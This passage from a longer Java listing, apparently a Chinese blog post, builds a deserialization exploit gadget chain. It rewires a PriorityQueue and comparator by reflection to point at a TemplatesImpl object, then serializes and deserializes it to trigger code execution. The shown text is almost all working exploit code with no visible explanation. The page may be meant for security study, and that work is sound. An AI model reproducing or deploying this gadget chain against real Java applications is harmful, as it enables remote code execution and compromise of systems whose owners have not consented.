queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
Field field2=comparator.getClass().getDeclaredField("property");
field2.setAccessible(true);
field2.set(comparator,"outputProperties");
Field field4=queue.getClass().getDeclaredField("queue");
field4.setAccessible(true);
Object[] queueArray=(Object[])field4.get(queue);
queueArray[0] = templatesImpl;
queueArray[1] = templatesImpl;
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
网友评论